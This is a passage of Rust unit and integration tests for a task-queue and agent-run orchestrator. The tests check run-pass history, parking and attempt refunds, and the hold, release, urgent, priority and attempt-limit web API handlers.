15858            &t,
15859            &[(
15860                FA,
15861                Some(flow_run(RunStatus::Merged, |s| {
15862                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
15863                })),
15864            )],
15865        );
15866        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
15867        assert_eq!(
15868            f.nodes[1].detail.as_deref(),
15869            Some("review-only run of branch magi/x/A")
15870        );
15871    }
15872
15873    #[test]
15874    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
15875        let mut t = flow_task(&[FA]);
15876        t.status = TaskStatus::Held;
15877        let pr = crate::run::PrRecord {
15878            url: "https://example.test/pr/1".to_owned(),
15879            number: 1,
15880            state: "open".to_owned(),
15881            checks: "green".to_owned(),
15882            round: 0,
15883            rounds: 3,
15884            red_at_merge: Vec::new(),
15885        };
15886        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
15887        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
15888        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
15889        t.status = TaskStatus::Done;
15890        let f = flow_for(&t, &[(FA, Some(blocked))]);
15891        assert_eq!(f.edges[1].label, "closed by hand: task is done");
15892    }
15893
15894    #[test]
15895    fn flow_with_no_runs_goes_from_queued_to_queued() {
15896        let t = flow_task(&[]);
15897        let f = flow_for(&t, &[]);
15898        assert_eq!(f.nodes.len(), 2);
15899        assert_eq!(f.edges.len(), 1);
15900        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
15901        assert_eq!(f.edges[0].attempt, AttemptCost::None);
15902    }
15903
15904    /// A run parked mid-flight keeps a non-terminal status; the page must
15905    /// still say why it stopped and that the attempt came back.
15906    #[test]
15907    fn a_parked_non_terminal_run_is_explained_as_parked() {
15908        let mut s = RunState::new(
15909            PathBuf::from("/repo/magi"),
15910            "main".to_owned(),
15911            "0123456789abcdef".to_owned(),
15912            "Do it".to_owned(),
15913            Config::default(),
15914        );
15915        s.status = RunStatus::Implementing;
15916        s.parked = true;
15917        let task = Task::new(
15918            "t".to_owned(),
15919            "Do it".to_owned(),
15920            PathBuf::from("/repo/magi"),
15921            Source::Human,
15922        );
15923        let v = task_run_view(
15924            "20260902-140501-aaaa",
15925            Some(&s),
15926            RunSlot {
15927                n: 1,
15928                resumed: false,
15929                resumed_later: None,
15930                prior: None,
15931                last: true,
15932                ..RunSlot::default()
15933            },
15934            &task,
15935        );
15936        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
15937    }
15938
15939    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
15940        let mut s = flow_run(RunStatus::Implementing, edit);
15941        s.parked = false;
15942        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
15943        task_run_view(
15944            "20260902-140501-aaaa",
15945            Some(&s),
15946            RunSlot {
15947                n: 1,
15948                resumed: false,
15949                resumed_later: Some(2),
15950                prior: None,
15951                last: false,
15952                ..RunSlot::default()
15953            },
15954            &task,
15955        )
15956    }
15957
15958    #[test]
15959    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
15960        let v = earlier_pass_view(|_| {});
15961        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
15962        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15963        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
15964        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
15965        assert_eq!(v.exit, RunExit::Interrupted);
15966        assert_eq!(v.attempt, AttemptCost::Unknown);
15967    }
15968
15969    #[test]
15970    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
15971        let v = earlier_pass_view(|s| {
15972            s.quota.push(crate::run::QuotaLoss {
15973                seat: "judge-1".to_owned(),
15974                node: "judge".to_owned(),
15975                at: Timestamp::now(),
15976                reset: None,
15977            });
15978        });
15979        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
15980        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15981        assert_eq!(v.attempt, AttemptCost::Unknown);
15982    }
15983
15984    #[test]
15985    fn the_current_pass_states_its_recorded_cause_and_cost() {
15986        let slot = || RunSlot {
15987            n: 1,
15988            resumed: false,
15989            resumed_later: None,
15990            prior: None,
15991            last: true,
15992            ..RunSlot::default()
15993        };
15994        let task = flow_task(&["20260902-140501-aaaa"]);
15995        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
15996        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
15997        assert_eq!(
15998            (v.exit, v.attempt),
15999            (RunExit::Parked, AttemptCost::Refunded)
16000        );
16001        let spent = flow_run(RunStatus::Blocked, |_| {});
16002        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16003        assert_eq!(v.attempt, AttemptCost::Spent);
16004        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16005    }
16006
16007    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16008        crate::run::RunPass {
16009            index,
16010            started_at: Timestamp::now(),
16011            resumed: index > 0,
16012            ended_at: end.as_ref().map(|_| Timestamp::now()),
16013            end,
16014            task_entry: true,
16015        }
16016    }
16017
16018    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16019        Some(crate::run::PassEnd::Parked { cause })
16020    }
16021
16022    fn upgrade_cause() -> crate::run::ParkCause {
16023        crate::run::ParkCause::Upgrade {
16024            from: "0.121.0".to_owned(),
16025            to: Some("0.121.1".to_owned()),
16026        }
16027    }
16028
16029    fn settled_pass(
16030        run: &str,
16031        index: usize,
16032        cost: crate::queue::PassCost,
16033    ) -> crate::queue::TaskPass {
16034        crate::queue::TaskPass {
16035            run: run.to_owned(),
16036            pass_index: index,
16037            started_at: None,
16038            cost,
16039            attempts_after: 1,
16040            settled_at: Timestamp::now(),
16041            parked: None,
16042        }
16043    }
16044
16045    const RUN_X: &str = "20261011-223708-4334";
16046
16047    #[test]
16048    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16049        use crate::queue::PassCost;
16050        let run = flow_run(RunStatus::Implementing, |s| {
16051            s.passes = vec![
16052                recorded_pass(0, parked(upgrade_cause())),
16053                recorded_pass(1, None),
16054            ];
16055        });
16056        let mut task = flow_task(&[RUN_X, RUN_X]);
16057        task.attempts = 1;
16058        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16059        let h = task_history(&task, |_| Some(run.clone()));
16060        assert_eq!(h.len(), 2);
16061        assert_eq!(h[0].kind, "competition");
16062        assert_eq!(h[1].kind, "resume");
16063        assert_eq!(
16064            (h[0].exit, h[0].attempt),
16065            (RunExit::Parked, AttemptCost::Refunded)
16066        );
16067        assert!(
16068            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16069            "{}",
16070            h[0].outcome
16071        );
16072        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16073        assert!(
16074            h[0].outcome.contains("pass #2 resumed the same run"),
16075            "{}",
16076            h[0].outcome
16077        );
16078        assert!(
16079            h[0].outcome.contains("pass 1 of 2 over run"),
16080            "{}",
16081            h[0].outcome
16082        );
16083        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16084        assert_eq!(
16085            h[0].exit_label,
16086            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16087        );
16088        let f = task_flow(&task, &h, 2, None);
16089        // Two passes of one run, one of two attempts consumed.
16090        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16091        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16092        assert!(
16093            f.edges[1].label.contains("upgrade 0.121.0"),
16094            "{}",
16095            f.edges[1].label
16096        );
16097        assert!(
16098            f.edges[1].label.contains("resume the same run"),
16099            "{}",
16100            f.edges[1].label
16101        );
16102        assert_eq!(f.nodes[1].note, Some("parked"));
16103    }
16104
16105    #[test]
16106    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16107        let mut a = flow_run(RunStatus::Implementing, |s| {
16108            s.passes = vec![
16109                recorded_pass(0, parked(upgrade_cause())),
16110                recorded_pass(1, None),
16111            ];
16112        });
16113        let mut b = flow_run(RunStatus::Failed, |s| {
16114            s.passes = vec![recorded_pass(0, None)];
16115        });
16116        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16117        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16118        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16119        let mut task = flow_task(&[]);
16120        task.start("a".into());
16121        task.start("b".into());
16122        task.start("a".into());
16123        assert_eq!(task.runs, ["b", "a"]);
16124        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16125        let h = task_history(&task, |id| {
16126            Some(if id == "a" { a.clone() } else { b.clone() })
16127        });
16128        assert_eq!(
16129            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16130            ["a", "b", "a"]
16131        );
16132        assert_eq!(h[0].attempt, AttemptCost::Refunded);
16133        assert!(h[0].outcome.contains("upgrade"));
16134        assert_eq!(h[2].kind, "resume");
16135        assert!(h[2].pass.is_some());
16136        // The old repeated-id format must show the same recorded passes.
16137        task.runs = vec!["a".into(), "b".into(), "a".into()];
16138        let old = task_history(&task, |id| {
16139            Some(if id == "a" { a.clone() } else { b.clone() })
16140        });
16141        assert_eq!(
16142            old.iter()
16143                .map(|v| (&v.id, &v.kind, v.attempt))
16144                .collect::<Vec<_>>(),
16145            h.iter()
16146                .map(|v| (&v.id, &v.kind, v.attempt))
16147                .collect::<Vec<_>>()
16148        );
16149    }
16150
16151    #[test]
16152    fn an_upgrade_whose_target_was_not_known_says_so() {
16153        let run = flow_run(RunStatus::Implementing, |s| {
16154            s.passes = vec![
16155                recorded_pass(
16156                    0,
16157                    parked(crate::run::ParkCause::Upgrade {
16158                        from: "0.121.0".to_owned(),
16159                        to: None,
16160                    }),
16161                ),
16162                recorded_pass(1, None),
16163            ];
16164        });
16165        let task = flow_task(&[RUN_X, RUN_X]);
16166        let h = task_history(&task, |_| Some(run.clone()));
16167        assert!(
16168            h[0].outcome.contains("upgrade from 0.121.0"),
16169            "{}",
16170            h[0].outcome
16171        );
16172        // No settle record: the refund is not claimed.
16173        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16174    }
16175
16176    #[test]
16177    fn each_pass_keeps_its_own_cause_across_several_resumes() {
16178        use crate::queue::PassCost;
16179        use crate::run::ParkCause;
16180        let run = flow_run(RunStatus::Implementing, |s| {
16181            s.passes = vec![
16182                recorded_pass(0, parked(upgrade_cause())),
16183                recorded_pass(
16184                    1,
16185                    parked(ParkCause::Interrupt {
16186                        reason: "task a1b2 asked to run first".to_owned(),
16187                    }),
16188                ),
16189                recorded_pass(2, parked(ParkCause::Operator)),
16190                recorded_pass(3, None),
16191            ];
16192        });
16193        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16194        task.attempts = 1;
16195        task.passes = (0..3)
16196            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16197            .collect();
16198        let h = task_history(&task, |_| Some(run.clone()));
16199        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16200        assert!(
16201            h[1].outcome.contains("task a1b2 asked to run first"),
16202            "{}",
16203            h[1].outcome
16204        );
16205        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16206        assert!(
16207            h[2].outcome.contains("operator asked the loop to park"),
16208            "{}",
16209            h[2].outcome
16210        );
16211        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16212        let f = task_flow(&task, &h, 2, None);
16213        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16214    }
16215
16216    #[test]
16217    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16218        let run = flow_run(RunStatus::Implementing, |s| {
16219            s.passes = vec![
16220                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16221                recorded_pass(1, None),
16222            ];
16223        });
16224        let task = flow_task(&[RUN_X, RUN_X]);
16225        let h = task_history(&task, |_| Some(run.clone()));
16226        assert_eq!(h[0].exit, RunExit::Interrupted);
16227        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16228        assert!(
16229            h[0].outcome.contains("without recording why"),
16230            "{}",
16231            h[0].outcome
16232        );
16233        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16234        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16235    }
16236
16237    #[test]
16238    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16239        use crate::queue::PassCost;
16240        // Three entries, but the run only began keeping passes at the last
16241        // two: the first is legacy and must not be given a cause.
16242        let run = flow_run(RunStatus::Implementing, |s| {
16243            s.passes = vec![
16244                recorded_pass(0, parked(upgrade_cause())),
16245                recorded_pass(1, None),
16246            ];
16247        });
16248        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16249        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16250        let h = task_history(&task, |_| Some(run.clone()));
16251        assert!(h[0].pass.is_none());
16252        assert_eq!(h[0].exit, RunExit::Interrupted);
16253        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16254        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16255        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16256        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16257        // A run with no passes at all is entirely unknown.
16258        let legacy = flow_run(RunStatus::Implementing, |_| {});
16259        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16260        assert!(h.iter().all(|v| v.pass.is_none()));
16261        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16262    }
16263
16264    #[test]
16265    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16266        use crate::queue::PassCost;
16267        // Pass 1 is a web-button resume: a pass of the run, no entry of the
16268        // task. The two entries are passes 0 and 2.
16269        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16270        web.task_entry = false;
16271        let run = flow_run(RunStatus::Implementing, |s| {
16272            s.passes = vec![
16273                recorded_pass(0, parked(upgrade_cause())),
16274                web.clone(),
16275                recorded_pass(2, None),
16276            ];
16277        });
16278        let mut task = flow_task(&[RUN_X, RUN_X]);
16279        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16280        let h = task_history(&task, |_| Some(run.clone()));
16281        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16282        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16283
16284        // Legacy first entry, then a web resume that parked for an upgrade,
16285        // then the daemon's pass: the legacy entry must stay unknown.
16286        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16287        web0.task_entry = false;
16288        let run = flow_run(RunStatus::Implementing, |s| {
16289            s.passes = vec![web0.clone(), recorded_pass(1, None)];
16290        });
16291        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16292        assert!(h[0].pass.is_none());
16293        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16294        assert!(h[1].pass.is_some());
16295    }
16296
16297    #[tokio::test]
16298    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16299        let dir = tempfile::tempdir().unwrap();
16300        let queue = Queue::at(dir.path().join("queue"));
16301        let ui = Arc::new(Ui::new(
16302            queue.clone(),
16303            Questions::at(dir.path().join("questions")),
16304            Talks::at(dir.path().join("talks")),
16305            dir.path().join("runs"),
16306            dir.path().to_path_buf(),
16307            dir.path().to_path_buf(),
16308        ));
16309        let mut t = Task::new(
16310            "recover".into(),
16311            "Inspect".into(),
16312            PathBuf::from("."),
16313            Source::Human,
16314        );
16315        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16316        t.start("run-A".into());
16317        t.release_operator("choice", Some("resume-question"));
16318        t.resume_override = Some(crate::queue::OperatorResume {
16319            question_id: "resume-question".into(),
16320            at: jiff::Timestamp::now(),
16321            conductor_rehold: None,
16322            forced: true,
16323            pinned_run: Some("run-A".into()),
16324        });
16325        t.hold_machine(Some("inspection pending".into()));
16326        t.edit("recover".into(), "Reuse approved PR head".into())
16327            .unwrap();
16328        queue.put(&mut t).unwrap();
16329        let mut cli = t.clone();
16330        cli.release_operator("cli", None);
16331        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16332        let reloaded = queue.get(&t.id).unwrap();
16333        assert_eq!(reply.task.status, TaskStatus::Queued);
16334        assert!(reloaded.resume_override.is_none());
16335        assert_eq!(reloaded.answers, t.answers);
16336        let mut web = reloaded.resumption.unwrap();
16337        let cli = cli.resumption.unwrap();
16338        assert_eq!(web.source, "web");
16339        web.source = cli.source.clone();
16340        web.at = cli.at;
16341        assert_eq!(web, cli);
16342    }
16343
16344    #[tokio::test]
16345    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16346        let f = Fixture::start().await;
16347        let queue = f.queue();
16348        let mut task = Task::new(
16349            "spent".to_owned(),
16350            "Try again".to_owned(),
16351            PathBuf::from("/repo/magi"),
16352            Source::Human,
16353        );
16354        task.start("20260902-140502-bbbb".to_owned());
16355        task.fail("agent gave up", 9);
16356        queue.put(&mut task).expect("file the task");
16357
16358        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16359        assert_eq!(held.status, 200);
16360        assert_eq!(held.json()["status_str"], "held");
16361
16362        let released = f
16363            .post(&format!("/api/queue/{}/release", task.id), None)
16364            .await;
16365        assert_eq!(released.status, 200);
16366        assert_eq!(released.json()["status_str"], "queued");
16367        assert_eq!(released.json()["resumption"]["source"], "web");
16368        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16369        let mut cli = task.clone();
16370        cli.release_operator("cli", None);
16371        let web = queue.get(&task.id).unwrap().resumption.unwrap();
16372        let cli = cli.resumption.unwrap();
16373        assert_eq!(web.instruction, cli.instruction);
16374        assert_eq!(web.answers_through, cli.answers_through);
16375        assert_eq!(web.runs_through, cli.runs_through);
16376        assert_eq!(web.cleared_reason, cli.cleared_reason);
16377        assert_eq!(
16378            released.json()["attempts"],
16379            0,
16380            "release is a real second chance, not an instant re-hold"
16381        );
16382        assert_eq!(
16383            queue.get(&task.id).expect("reload").status,
16384            TaskStatus::Queued,
16385            "the change is on disk, not only in the reply"
16386        );
16387        assert!(
16388            !f.home
16389                .path()
16390                .join("queue")
16391                .join(format!("{}.lock", task.id))
16392                .exists(),
16393            "the claim the mutation took is released again"
16394        );
16395    }
16396
16397    #[tokio::test]
16398    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16399        let f = Fixture::start().await;
16400        let queue = f.queue();
16401        let mut task = Task::new(
16402            "busy".to_owned(),
16403            "Running right now".to_owned(),
16404            PathBuf::from("/repo/magi"),
16405            Source::Human,
16406        );
16407        queue.put(&mut task).expect("file the task");
16408        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16409
16410        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16411
16412        assert_eq!(res.status, 409);
16413        assert_eq!(
16414            queue.get(&task.id).expect("reload").status,
16415            TaskStatus::Queued,
16416            "the refused hold changed nothing"
16417        );
16418    }
16419
16420    #[tokio::test]
16421    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16422        let f = Fixture::start().await;
16423        let queue = f.queue();
16424        let mut task = Task::new(
16425            "waiting on the migration".to_owned(),
16426            "Do the thing".to_owned(),
16427            PathBuf::from("/repo/magi"),
16428            Source::Human,
16429        );
16430        queue.put(&mut task).expect("file the task");
16431
16432        let held = f
16433            .post(
16434                &format!("/api/queue/{}/hold", task.id),
16435                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16436            )
16437            .await;
16438        assert_eq!(held.status, 200, "{}", held.body);
16439        assert_eq!(held.json()["status_str"], "held");
16440        assert_eq!(
16441            held.json()["hold_reason"],
16442            "waiting for 20260101-000000-aaaa to land"
16443        );
16444
16445        let listed = f.get("/api/queue").await.json();
16446        assert_eq!(
16447            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16448            "the card reads the reason off the same list route"
16449        );
16450
16451        // A hold with no body at all must keep working - most holds have no
16452        // reason to give.
16453        let mut plain = Task::new(
16454            "no reason given".to_owned(),
16455            "Do another thing".to_owned(),
16456            PathBuf::from("/repo/magi"),
16457            Source::Human,
16458        );
16459        queue.put(&mut plain).expect("file the task");
16460        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16461        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16462        assert!(held_plain.json()["hold_reason"].is_null());
16463
16464        let released = f
16465            .post(&format!("/api/queue/{}/release", task.id), None)
16466            .await;
16467        assert_eq!(released.status, 200);
16468        assert!(
16469            released.json()["hold_reason"].is_null(),
16470            "a release must clear the reason so the next hold does not inherit it"
16471        );
16472    }
16473
16474    #[test]
16475    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16476        for urgent in [true, false] {
16477            let body: UrgentBody =
16478                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16479            assert_eq!(body.urgent, urgent);
16480        }
16481        for input in [
16482            r#"{}"#,
16483            r#"{"urgent":null}"#,
16484            r#"{"urgent":"true"}"#,
16485            r#"{"urgent":1}"#,
16486            r#"{"urgent":true,"extra":false}"#,
16487        ] {
16488            assert!(
16489                serde_json::from_str::<UrgentBody>(input).is_err(),
16490                "{input}"
16491            );
16492        }
16493    }
16494
16495    #[tokio::test]
16496    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16497        let home = TempDir::new().unwrap();
16498        let q = Queue::at(home.path().join("queue"));
16499        let ui = Arc::new(Ui::new(
16500            q.clone(),
16501            Questions::at(home.path().join("questions")),
16502            Talks::at(home.path().join("talks")),
16503            home.path().join("runs"),
16504            home.path().into(),
16505            home.path().into(),
16506        ));
16507        let mut task = Task::new(
16508            "urgent handler".into(),
16509            "keep".into(),
16510            home.path().into(),
16511            Source::Human,
16512        );
16513        for status in [TaskStatus::Queued, TaskStatus::Held] {
16514            task.status = status;
16515            q.put(&mut task).unwrap();
16516            for urgent in [true, true, false, false] {
16517                let saved = queue_urgent(
16518                    State(Arc::clone(&ui)),
16519                    Path(task.short().into()),
16520                    Ok(Json(UrgentBody { urgent })),
16521                )
16522                .await
16523                .unwrap();
16524                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16525                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16526            }
16527        }
16528        task.status = TaskStatus::Queued;
16529        q.put(&mut task).unwrap();
16530        let claim = q.claim(&task.id).unwrap();
16531        let error = queue_urgent(
16532            State(Arc::clone(&ui)),
16533            Path(task.id.clone()),
16534            Ok(Json(UrgentBody { urgent: true })),
16535        )
16536        .await
16537        .unwrap_err();
16538        assert_eq!(error.status, StatusCode::CONFLICT);
16539        assert!(error.message.contains("released"));
16540        drop(claim);
16541        for status in [
16542            TaskStatus::Running,
16543            TaskStatus::Done,
16544            TaskStatus::Failed,
16545            TaskStatus::Blocked,
16546            TaskStatus::Parked,
16547        ] {
16548            task.status = status;
16549            q.put(&mut task).unwrap();
16550            let error = queue_urgent(
16551                State(Arc::clone(&ui)),
16552                Path(task.id.clone()),
16553                Ok(Json(UrgentBody { urgent: false })),
16554            )
16555            .await
16556            .unwrap_err();
16557            assert_eq!(error.status, StatusCode::BAD_REQUEST);
16558            assert!(error.message.contains(status.as_str()));
16559        }
16560    }
16561
16562    #[tokio::test]
16563    async fn urgent_api_updates_preserves_and_validates_tasks() {
16564        let f = Fixture::start().await;
16565        let q = f.queue();
16566        let mut t = Task::new(
16567            "urgent API".into(),
16568            "unchanged".into(),
16569            PathBuf::from("/repo/magi"),
16570            Source::Human,
16571        );
16572        t.attempts = 2;
16573        t.priority = 9;
16574        t.interrupt = true;
16575        t.hold_reason = Some("waiting for approval".into());
16576        for status in [TaskStatus::Queued, TaskStatus::Held] {
16577            t.status = status;
16578            q.put(&mut t).unwrap();
16579            for urgent in [true, true, false, false] {
16580                let response = f
16581                    .post(
16582                        &format!("/api/queue/{}/urgent", t.short()),
16583                        Some(&format!("{{\"urgent\":{urgent}}}")),
16584                    )
16585                    .await;
16586                assert_eq!(response.status, 200, "{}", response.body);
16587                assert_eq!(response.json()["urgent"], urgent);
16588                let saved = q.get(&t.id).unwrap();
16589                let mut before = serde_json::to_value(&t).unwrap();
16590                let mut after = serde_json::to_value(saved).unwrap();
16591                before["urgent"] = urgent.into();
16592                before.as_object_mut().unwrap().remove("updated_at");
16593                after.as_object_mut().unwrap().remove("updated_at");
16594                assert_eq!(after, before);
16595            }
16596        }
16597        let route = format!("/api/queue/{}/urgent", t.id);
16598        for body in [
16599            r#"{}"#,
16600            r#"{"urgent":null}"#,
16601            r#"{"urgent":"true"}"#,
16602            r#"{"urgent":1}"#,
16603            r#"{"urgent":true,"extra":false}"#,
16604            "{",
16605        ] {
16606            assert_eq!(f.post(&route, Some(body)).await.status, 400);
16607        }
16608        t.status = TaskStatus::Queued;
16609        q.put(&mut t).unwrap();
16610        let claim = q.claim(&t.id).unwrap();
16611        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16612        assert_eq!(response.status, 409, "{}", response.body);
16613        assert!(!q.get(&t.id).unwrap().urgent);
16614        drop(claim);
16615        for status in [
16616            TaskStatus::Running,
16617            TaskStatus::Done,
16618            TaskStatus::Failed,
16619            TaskStatus::Blocked,
16620            TaskStatus::Parked,
16621        ] {
16622            t.status = status;
16623            q.put(&mut t).unwrap();
16624            for urgent in [true, false] {
16625                let response = f
16626                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16627                    .await;
16628                assert_eq!(response.status, 400, "{}", response.body);
16629                assert!(response.body.contains(status.as_str()));
16630                assert!(response.body.contains("queued or held"));
16631                assert!(!q.get(&t.id).unwrap().urgent);
16632            }
16633        }
16634        assert_eq!(
16635            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16636                .await
16637                .status,
16638            404
16639        );
16640    }
16641
16642    #[tokio::test]
16643    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16644        let f = Fixture::start().await;
16645        let queue = f.queue();
16646        let mut older = Task::new(
16647            "filed first".to_owned(),
16648            "x".to_owned(),
16649            PathBuf::from("/repo/magi"),
16650            Source::Human,
16651        );
16652        older.id = "20260101-000001-aaaa".to_owned();
16653        let mut newer = Task::new(
16654            "filed second".to_owned(),
16655            "x".to_owned(),
16656            PathBuf::from("/repo/magi"),
16657            Source::Human,
16658        );
16659        newer.id = "20260101-000002-bbbb".to_owned();
16660        queue.put(&mut older).expect("file older");
16661        queue.put(&mut newer).expect("file newer");
16662
16663        // Equal priority: the newer task leads, the same order the old
16664        // newest-first `list()` already gave every equal-priority queue.
16665        let before = f.get("/api/queue").await.json();
16666        assert_eq!(before[0]["id"], newer.id);
16667        assert_eq!(before[1]["id"], older.id);
16668
16669        // Raising the *older* task is the meaningful case: it can only lead
16670        // now because its priority says so, not because it happens to be
16671        // newest.
16672        let raised = f
16673            .post(
16674                &format!("/api/queue/{}/priority", older.id),
16675                Some(r#"{"priority":10}"#),
16676            )
16677            .await;
16678        assert_eq!(raised.status, 200, "{}", raised.body);
16679        assert_eq!(raised.json()["priority"], 10);
16680
16681        let after = f.get("/api/queue").await.json();
16682        let names: Vec<&str> = after
16683            .as_array()
16684            .unwrap()
16685            .iter()
16686            .map(|t| t["id"].as_str().unwrap())
16687            .collect();
16688        // Highest priority first, which is the order next_runnable and
16689        // `magi task list` both use - GET /api/queue must agree with it
16690        // immediately, not just once the loop claims the task.
16691        assert_eq!(names[0], older.id, "the raised task now sorts first");
16692    }
16693
16694    #[tokio::test]
16695    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16696        let dir = TempDir::new().unwrap();
16697        let q = Queue::at(dir.path().join("queue"));
16698        let ui = Arc::new(Ui::new(
16699            q.clone(),
16700            Questions::at(dir.path().join("questions")),
16701            Talks::at(dir.path().join("talks")),
16702            dir.path().join("runs"),
16703            dir.path().to_path_buf(),
16704            dir.path().to_path_buf(),
16705        ));
16706        let mut t = Task::new(
16707            "budget".into(),
16708            "keep".into(),
16709            dir.path().into(),
16710            Source::Human,
16711        );
16712        t.attempts = 2;
16713        t.runs.push("prior-run".into());
16714        t.hold_manual(Some("waiting".into()));
16715        q.put(&mut t).unwrap();
16716        let change = |value| {
16717            queue_attempt_limit(
16718                State(ui.clone()),
16719                Path(t.id.clone()),
16720                Ok(Json(AttemptLimitBody {
16721                    attempt_limit: value,
16722                })),
16723            )
16724        };
16725        for value in [
16726            serde_json::json!(3),
16727            serde_json::Value::Null,
16728            serde_json::json!(1),
16729        ] {
16730            let response = change(value.clone()).await.unwrap();
16731            assert_eq!(
16732                serde_json::to_value(response.0).unwrap()["attempt_limit"],
16733                value
16734            );
16735            let saved = q.get(&t.id).unwrap();
16736            assert_eq!(
16737                serde_json::to_value(&saved).unwrap()["attempt_limit"],
16738                value
16739            );
16740            assert_eq!(saved.status, TaskStatus::Held);
16741            assert_eq!(saved.attempts, t.attempts);
16742            assert_eq!(saved.runs, t.runs);
16743            assert_eq!(saved.hold_reason, t.hold_reason);
16744            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
16745                .await
16746                .unwrap()
16747                .0;
16748            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
16749            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
